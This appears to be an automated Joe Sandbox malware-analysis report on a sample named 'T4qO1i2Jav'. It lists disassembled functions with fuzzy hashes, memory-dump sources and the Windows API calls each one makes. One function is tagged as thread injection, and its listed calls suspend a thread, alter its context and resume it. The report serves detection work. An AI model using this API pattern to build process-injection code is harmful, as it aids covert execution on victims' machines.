Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3fe4e9dd6c991e45264824461bc0913b0e611cf7691a48f9d5dd2ed20bf44906
Instruction ID: 0c51ac6fecb85fe534170ecf713f0e179903af86784b9a4bc64fd014a9a3240c
Opcode Fuzzy Hash: 3fe4e9dd6c991e45264824461bc0913b0e611cf7691a48f9d5dd2ed20bf44906
Instruction Fuzzy Hash: C97115236497904BDB28A93C4C212AABAD39BD2238F2EC769E8F5C73E1D5658C059354

Function 00896571 Relevance: .2, Instructions: 227COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3efaa8caef89ec2373ffa2371753a94ca0864bd7a5631f890fedf40a1f4f3cad
Instruction ID: 67dd1d5afe2cc9148ea2daa4feaee6925668cc74e45ad50d27e7251cc20cf0e9
Opcode Fuzzy Hash: 3efaa8caef89ec2373ffa2371753a94ca0864bd7a5631f890fedf40a1f4f3cad
Instruction Fuzzy Hash: 0051BD74205700DFEB299F59C895F3277A3FBA4304F1996ACD5C28B7A2E374AC118B11

Function 008A5670 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 268e6a86c9647423a3e0406f1efe1fb1f3a43167bedebd64417b2eb9c2239687
Instruction ID: 294339aa08d1cd791448dec4d8b10ea993165ef7b520753aed1e2a140962a2da
Opcode Fuzzy Hash: 268e6a86c9647423a3e0406f1efe1fb1f3a43167bedebd64417b2eb9c2239687
Instruction Fuzzy Hash: 8E61E1B01087008BE714DF14D89266BBBF1FF92364F548A1DE4D68B7A1E7388949CB57

Function 008A3D30 Relevance: .2, Instructions: 212COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe2a9823805b382d16c62c752a4ccbb86cfae5210376c7fc3ddee116b2eb6945
Instruction ID: ec4788dfb161f383431dc4792b028c126f274481d75c177f2e4bb826cd0c6771
Opcode Fuzzy Hash: fe2a9823805b382d16c62c752a4ccbb86cfae5210376c7fc3ddee116b2eb6945
Instruction Fuzzy Hash: 425144726083049FE324CF58EC41B9BBBE5FBC5318F04492DFAA89B281D77099458B83

Function 008B6430 Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee3221d44487f1b55dcfb0cb7b306b7a5088c2c108d24d47baceea343636d859
Instruction ID: 85df4539e280c350cdabc8c8ff03f2a923585fa26d6f1daef4e9cdcd11fd052b
Opcode Fuzzy Hash: ee3221d44487f1b55dcfb0cb7b306b7a5088c2c108d24d47baceea343636d859
Instruction Fuzzy Hash: E8515EB19087548FE314DF29D89435BBBE1FBC8318F044A2DE5E987391E379D6088B82

Function 0089CEA5 Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc2d0fe53e82b266b7ae84cdafc6f07795fa09f90632d49c814c0d13379bf1c0
Instruction ID: 6a9303783a96f9e60fd3130877d3099fc394b999f93a7db60e007376ce55502a
Opcode Fuzzy Hash: bc2d0fe53e82b266b7ae84cdafc6f07795fa09f90632d49c814c0d13379bf1c0
Instruction Fuzzy Hash: 02411FA551835287CB20AF28C80177BF3F1FFA2314F59895CE8C59B280EB75D915C36A

Function 0089AE00 Relevance: .2, Instructions: 186COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd083891a8afc99e2f348b2840e9211bb3cf7527a5d8422d4a1610b90c695c2e
Instruction ID: 87a49577f6d1c1e8cf6ff572620e9a5e6c3b286d3cd1a7724719695041e55778
Opcode Fuzzy Hash: bd083891a8afc99e2f348b2840e9211bb3cf7527a5d8422d4a1610b90c695c2e
Instruction Fuzzy Hash: D4513B33759AC087DB2C993C5C2237A7A93ABD2338B3D876EE0B6C73E1D96548055391

Function 0089DC20 Relevance: .2, Instructions: 184COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4598385fb594825d63bcc7a07ceb281ab451824023bc35c401d5e6c01dd9b9b1
Instruction ID: 657e51c3c067a3903f4f0ac0b8028fab46ccd8c74bfcfbb84670fc104ebd5663
Opcode Fuzzy Hash: 4598385fb594825d63bcc7a07ceb281ab451824023bc35c401d5e6c01dd9b9b1
Instruction Fuzzy Hash: 21513F337496C18BDB28993C5C2136A6E93ABE2338B3CC36EE1B2CB3E5D5654C059354

Function 008A3E30 Relevance: .2, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24bf837ed402d1781767f7d40f32be5832a0bc834283bb0f88add8e69bd1fb34
Instruction ID: e6bb171997b44f5acf2b115691cb54d404fbc91052b6668eb1ff611ed2a854f0
Opcode Fuzzy Hash: 24bf837ed402d1781767f7d40f32be5832a0bc834283bb0f88add8e69bd1fb34
Instruction Fuzzy Hash: B9512572608300DFE320CF18DC41B5BBBE5FBD9314F19492DF59897291D7B598858B82

Function 008A7307 Relevance: .2, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7aac9a5276def97bb00757875a570161ebe3f481b3def162295c1045f310f38f
Instruction ID: 03a350a889416d712f1193df7ba56ea3df3c4ce659c954b34b174ad9f6983869
Opcode Fuzzy Hash: 7aac9a5276def97bb00757875a570161ebe3f481b3def162295c1045f310f38f
Instruction Fuzzy Hash: 6651CCB050C3108AD724DF65D85122BBBF0FFA2344F00492CD5D68BB61E7798908EB9A

Function 008A5F7D Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 530b9bd03d5cb24082d51ec14d7ac5baf69758f516a25950a7890c5dcd5376c3
Instruction ID: bad502ca69c364ab9748249832168145cff9bb830d5926bf596c1da7823d38b9
Opcode Fuzzy Hash: 530b9bd03d5cb24082d51ec14d7ac5baf69758f516a25950a7890c5dcd5376c3
Instruction Fuzzy Hash: 03415773C09B648BD630AA64982007BB6E5FF87310F998469F9C2D7A45FF34AD4197C2

Function 00097794 Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2084722795.0000000000091000.00000020.00000001.01000000.00000003.sdmp, Offset: 00090000, based on PE: true

Associated: 00000000.00000002.2084658882.0000000000090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084823715.000000000010C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085033950.000000000010E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085180903.000000000011A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085221584.000000000011D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90000_T4qO1i2Jav.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa20cfbcd7b5cc72b940c3cff0acd792b6791bbd3311bffdab1565aaef271c20
Instruction ID: a38b74cfa54d1c65c588b763e183274e5bd22e8eca9dd8b36a5744824cdeaa15
Opcode Fuzzy Hash: aa20cfbcd7b5cc72b940c3cff0acd792b6791bbd3311bffdab1565aaef271c20
Instruction Fuzzy Hash: 0E511B76E1422A8B8F15CFADC4945EEFBF1AB8C310B24916AD859F3704D6359C05DFA0

Function 00888990 Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 367c31638055309794f69e9f1362a6cfb166745821b7f7e74973013f3529307c
Instruction ID: f8f6a44e16a4f3d0155ca43c52f6fc4671ed27d1939437dbd395baab1f70d260
Opcode Fuzzy Hash: 367c31638055309794f69e9f1362a6cfb166745821b7f7e74973013f3529307c
Instruction Fuzzy Hash: 9E316433A218118AE754CA29CC0469536D3ABD9328F7E86B9D465DB6D6CD379D038780

Function 008A92D0 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98e26c78c9150f1ad1e3757b200648cd334ec9d078c2d33008985711dfcfa193
Instruction ID: 92e8d7b52e26bed93b7b806e902f2615a719adff04639a78237613fd2ddc111c
Opcode Fuzzy Hash: 98e26c78c9150f1ad1e3757b200648cd334ec9d078c2d33008985711dfcfa193
Instruction Fuzzy Hash: 224127B2B193404BD71CCF258CA275FFBA2FBC5308F15982CE5C69B284CA7494078B45

Function 008B6B20 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91220374a97f5aff33aa7e71888e41c88829f78e25f822e198eb2ef461918297
Instruction ID: 4b420bbcd2853a978337a6649fec640bce65ce320dbb70eda5756a80ea7fef12
Opcode Fuzzy Hash: 91220374a97f5aff33aa7e71888e41c88829f78e25f822e198eb2ef461918297
Instruction Fuzzy Hash: 45314032A483284B87249E5989820A7F7E8FBC9724F0AC13ED888EB311F574ED0187C5

Function 000A68D8 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2084722795.0000000000091000.00000020.00000001.01000000.00000003.sdmp, Offset: 00090000, based on PE: true

Associated: 00000000.00000002.2084658882.0000000000090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084823715.000000000010C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085033950.000000000010E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085180903.000000000011A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085221584.000000000011D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90000_T4qO1i2Jav.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a26f687ba9ab1287f6bc279f243654aba14d70ded8d706cc3e065a180cd7660a
Instruction ID: 0ece662fa2e7d7fecf3e72edb16cb41558cc9b232b7987b0d857e861f79814e0
Opcode Fuzzy Hash: a26f687ba9ab1287f6bc279f243654aba14d70ded8d706cc3e065a180cd7660a
Instruction Fuzzy Hash: BF31A5B4A04219CFDB40EFA9C9447AEBBF4FF4A300F10852AE895DB350D7759994CB92

Function 0089597D Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f45a39d6be96051aa4f25e8a996769fd6004dcc5b5d4dfb7e39b82c52bc08503
Instruction ID: b22f330cd02165ace10ba2f9fae6d3bc785906d5a3f266c74ad0494d0c0a1f56
Opcode Fuzzy Hash: f45a39d6be96051aa4f25e8a996769fd6004dcc5b5d4dfb7e39b82c52bc08503
Instruction Fuzzy Hash: EF014730714A01DBFB269B19DC55F3272A3F751300FA89068E082D32C2DA70A851C758

Function 008B45F0 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: b21136f7bfc4d8db107dff28df141dac2840107f1b06ef8a1a0f1c5eee664935
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: BF11E533A051E50ED3168D3C84015A5BFA36AB3234B699399F4B8DB3D7D6228D8A8354

Function 008AA060 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a62376ffa6d90c1baa96e3dbf302ab3dfe7742f197fede568b4cb05d9ce342f2
Instruction ID: ddb547b47ba3882155b1efa3122ea95d1de9e2555620e0b07f2c8331a00710f1
Opcode Fuzzy Hash: a62376ffa6d90c1baa96e3dbf302ab3dfe7742f197fede568b4cb05d9ce342f2
Instruction Fuzzy Hash: E8014CF5600F01C7E724AE5894C1727A2A8FB92704F19442CE904D7A42DB76EC09C693

Function 00882B70 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9265b02954bc24382bf2e7f8933e1c3ea609272a544ac7b5af8ac472433fbf48
Instruction ID: 4d3d3de9f719376719bf8686b0cff14e8371c11237fff89924faf4dccfc6764e
Opcode Fuzzy Hash: 9265b02954bc24382bf2e7f8933e1c3ea609272a544ac7b5af8ac472433fbf48
Instruction Fuzzy Hash: 72F0E237B1A5154BA220DD3AACC093BB3A6FBC6328B1A4939E941D3201C935E80293A0

Function 008AB3DE Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b776dab8d70b8b05b759ec5d814b09e18a68adbf314bdd3bd4fd872577e434f9
Instruction ID: 1f532540d941f40cf762e6d036904b1c989ef549d43a3112785609553da104ed
Opcode Fuzzy Hash: b776dab8d70b8b05b759ec5d814b09e18a68adbf314bdd3bd4fd872577e434f9
Instruction Fuzzy Hash: 26F024258896C345D3098B3E8070331EFE1AF7B250F2C5068C4D287783D72798098718

Function 008AB475 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09d43eca56971889183eaa437f320b8b7ceec2e746db9d29432a1482ea6c2feb
Instruction ID: 146b8165186282e23f39d09d91b96769cf19c5d6a3d4a3c0cef9389a80f183d1
Opcode Fuzzy Hash: 09d43eca56971889183eaa437f320b8b7ceec2e746db9d29432a1482ea6c2feb
Instruction Fuzzy Hash: 7FD0A9B49048009BCA0CEB14E922839A278AB46296B006028A403EB313CA30F8A0860E

Function 0088C274 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2085512774.0000000000880000.00000040.10000000.00040000.00000000.sdmp, Offset: 00880000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_880000_T4qO1i2Jav.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 807efa7a94a99c37690e78f295107e8b1ea01eb7ea07ce3781a3bff8104a11fc
Instruction ID: 1d6a53cb2d3facc969dd8a6e70dacb3827d97f50e1e7e960835fcd5bd11b2d4b
Opcode Fuzzy Hash: 807efa7a94a99c37690e78f295107e8b1ea01eb7ea07ce3781a3bff8104a11fc
Instruction Fuzzy Hash: 60D0122094A2994AC3068F389CE1B31B7B1FB03100F042548C142DB2D1C7E090168658

Function 0009E774 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 92COMMON

Download Yara Rule

APIs

calloc.MSVCRT ref: 0009E7B1
CreateSemaphoreA.KERNEL32(?,?,00000000,00000014), ref: 0009E7F4
CreateSemaphoreA.KERNEL32 ref: 0009E813
CloseHandle.KERNEL32 ref: 0009E829
CloseHandle.KERNEL32(00000000), ref: 0009E83A
free.MSVCRT ref: 0009E844
InitializeCriticalSection.KERNEL32 ref: 0009E860
InitializeCriticalSection.KERNEL32(00000000), ref: 0009E869
InitializeCriticalSection.KERNEL32 ref: 0009E872

Strings

l, xrefs: 0009E7A2

Memory Dump Source

Source File: 00000000.00000002.2084722795.0000000000091000.00000020.00000001.01000000.00000003.sdmp, Offset: 00090000, based on PE: true

Associated: 00000000.00000002.2084658882.0000000000090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084823715.000000000010C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085033950.000000000010E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085180903.000000000011A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085221584.000000000011D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90000_T4qO1i2Jav.jbxd

Similarity

API ID: CriticalInitializeSection$CloseCreateHandleSemaphore$callocfree
String ID: l
API String ID: 3701386200-2517025534
Opcode ID: 94b0d9fa56b40938f523ff3ae1bbb16ecd5e33389a09650ae3543b99aa0ff4aa
Instruction ID: aa8a841e634b0038b9b489d573fc5a4b8280865b09a5a253e764be4701e094ef
Opcode Fuzzy Hash: 94b0d9fa56b40938f523ff3ae1bbb16ecd5e33389a09650ae3543b99aa0ff4aa
Instruction Fuzzy Hash: BA3115B1904340CFDB54EF79C98465ABBE8EF88310F15896DE898CB246EB35D880DB42

Function 000A7520 Relevance: 15.1, APIs: 10, Instructions: 138COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 000A7574

Part of subcall function 00097D78: abort.MSVCRT ref: 00097DB2

fputs.MSVCRT ref: 000A75E5
fputs.MSVCRT ref: 000A761D
fputs.MSVCRT ref: 000A7641
free.MSVCRT ref: 000A7652
fputs.MSVCRT ref: 000A7682
abort.MSVCRT ref: 000A768E
fputs.MSVCRT ref: 000A76E3
fputs.MSVCRT ref: 000A76FF
fputc.MSVCRT ref: 000A771C

Memory Dump Source

Source File: 00000000.00000002.2084722795.0000000000091000.00000020.00000001.01000000.00000003.sdmp, Offset: 00090000, based on PE: true

Associated: 00000000.00000002.2084658882.0000000000090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084823715.000000000010C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085033950.000000000010E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085180903.000000000011A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085221584.000000000011D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90000_T4qO1i2Jav.jbxd

Similarity

API ID: fputs$abort$fputcfree
String ID:
API String ID: 193835883-0
Opcode ID: 984b3b070e1d032666eec7301e07890f55bf6192701967f4c81cc515f43ded80
Instruction ID: 8605e879ae610f208e777eae1ceb74ec2ae1a2edcbc0708b06f58824750d642f
Opcode Fuzzy Hash: 984b3b070e1d032666eec7301e07890f55bf6192701967f4c81cc515f43ded80
Instruction Fuzzy Hash: 7C51A3B08087489FCB50AFE8D94969DBBF0BF05310F158A1DE4E99B2D2D7B49881DF52

Function 000A0EE9 Relevance: 13.6, APIs: 9, Instructions: 139threadinjectionsynchronizationCOMMON

Download Yara Rule

APIs

GetHandleInformation.KERNEL32 ref: 000A0F26
SetEvent.KERNEL32 ref: 000A0F6E
SuspendThread.KERNEL32 ref: 000A0FE7
WaitForSingleObject.KERNEL32(00000000), ref: 000A0FFA
GetThreadContext.KERNEL32 ref: 000A1017
SetThreadContext.KERNEL32 ref: 000A1033
SetEvent.KERNEL32(?,?), ref: 000A105C
ResumeThread.KERNEL32(?,?), ref: 000A1071
SetEvent.KERNEL32 ref: 000A109B

Memory Dump Source

Source File: 00000000.00000002.2084722795.0000000000091000.00000020.00000001.01000000.00000003.sdmp, Offset: 00090000, based on PE: true

Associated: 00000000.00000002.2084658882.0000000000090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084823715.000000000010C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085033950.000000000010E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085180903.000000000011A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085221584.000000000011D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90000_T4qO1i2Jav.jbxd

Similarity

API ID: Thread$Event$Context$HandleInformationObjectResumeSingleSuspendWait
String ID:
API String ID: 56398499-0
Opcode ID: bdd243d0f7db4e891e30e0a9dc4d1bacbed7cd46b878dc80e346885ac7effda7
Instruction ID: 47c4a7e89ca1622f5222d1661b90e49419f0648a6f54632ee9a26b6fa4bb97da
Opcode Fuzzy Hash: bdd243d0f7db4e891e30e0a9dc4d1bacbed7cd46b878dc80e346885ac7effda7
Instruction Fuzzy Hash: 7D518271915B42AFDB14AFB4D984AA9BFF4FF0A360F00461CE495C7A82D774E490CB92

Function 0009EBEE Relevance: 13.6, APIs: 9, Instructions: 113COMMON

Download Yara Rule

APIs

TryEnterCriticalSection.KERNEL32 ref: 0009EC7B
LeaveCriticalSection.KERNEL32 ref: 0009ECCE
CloseHandle.KERNEL32 ref: 0009ECFA
CloseHandle.KERNEL32 ref: 0009ED03
LeaveCriticalSection.KERNEL32(74DF2EE0), ref: 0009ED0C
DeleteCriticalSection.KERNEL32(00000000), ref: 0009ED1F
DeleteCriticalSection.KERNEL32(00000000), ref: 0009ED28
DeleteCriticalSection.KERNEL32(00000000), ref: 0009ED31
free.MSVCRT ref: 0009ED37

Part of subcall function 0009E4C4: EnterCriticalSection.KERNEL32(?,?,?,?,?,00000001,?,?,0009EFF3,00000000), ref: 0009E4D7
Part of subcall function 0009E4C4: LeaveCriticalSection.KERNEL32(00000000,?,?,?,?,?,00000001,?,?,0009EFF3,00000000), ref: 0009E50D

Memory Dump Source

Source File: 00000000.00000002.2084722795.0000000000091000.00000020.00000001.01000000.00000003.sdmp, Offset: 00090000, based on PE: true

Associated: 00000000.00000002.2084658882.0000000000090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084823715.000000000010C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085033950.000000000010E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085180903.000000000011A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085221584.000000000011D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90000_T4qO1i2Jav.jbxd

Similarity

API ID: CriticalSection$DeleteLeave$CloseEnterHandle$free
String ID:
API String ID: 1444599582-0
Opcode ID: 6e46228ef0ddc7ed7ec53163fc446b929b73ff2daf35ba3f25168d5f474d26a6
Instruction ID: d657c894130b26aa4049f347ae926d0fae59ab9a0932ac3aabf2c695733bb60b
Opcode Fuzzy Hash: 6e46228ef0ddc7ed7ec53163fc446b929b73ff2daf35ba3f25168d5f474d26a6
Instruction Fuzzy Hash: 92417CB0A057448FCB10EFA9C884AAEBBF4FF88310F11492DE8D597791D774A881DB52

Function 000A1399 Relevance: 12.2, APIs: 8, Instructions: 158sleepthreadCOMMON

Download Yara Rule

APIs

Part of subcall function 0009FD82: calloc.MSVCRT ref: 0009FDAF

CreateEventA.KERNEL32 ref: 000A13F8
Sleep.KERNEL32 ref: 000A1417
_beginthreadex.MSVCRT ref: 000A14BA
CloseHandle.KERNEL32 ref: 000A14D4
SetThreadPriority.KERNEL32 ref: 000A152D
ResetEvent.KERNEL32(00000000,00000000), ref: 000A153B
CloseHandle.KERNEL32(00000000), ref: 000A155B
Sleep.KERNEL32(00000000), ref: 000A1571

Memory Dump Source

Source File: 00000000.00000002.2084722795.0000000000091000.00000020.00000001.01000000.00000003.sdmp, Offset: 00090000, based on PE: true

Associated: 00000000.00000002.2084658882.0000000000090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084823715.000000000010C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085033950.000000000010E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085180903.000000000011A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085221584.000000000011D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90000_T4qO1i2Jav.jbxd

Similarity

API ID: CloseEventHandleSleep$CreatePriorityResetThread_beginthreadexcalloc
String ID:
API String ID: 1890343903-0
Opcode ID: 15d5d1c4e996da59ed2fbd1c3e031a2e0baa7ca4c50d017ca9061e1094c65abd
Instruction ID: b4989fa07a56d72f09261446116817d44ba299550bbfaceb6c9f7bdc6ce6a004
Opcode Fuzzy Hash: 15d5d1c4e996da59ed2fbd1c3e031a2e0baa7ca4c50d017ca9061e1094c65abd
Instruction Fuzzy Hash: 9B513DB1904B06DFC754DFB9C9846AABBF4FF49320F008629E865C7651D734E980CB92

Function 0009E8DE Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 209synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,?,?,?,?,?,?,?,?,?,76ECFFB0,?,0009EBC4,00000000), ref: 0009E93A
ResetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,76ECFFB0,?,0009EBC4,00000000), ref: 0009E9AF
WaitForSingleObject.KERNEL32(?,?,?,?,?,?,?,?,?,?,76ECFFB0), ref: 0009EB49

Part of subcall function 0009F4A8: WaitForSingleObject.KERNEL32(?,?,?,?,?,?,0009EBC4,00000001,00000000,?,0009EB01), ref: 0009F4F5

WaitForSingleObject.KERNEL32 ref: 0009EAAD

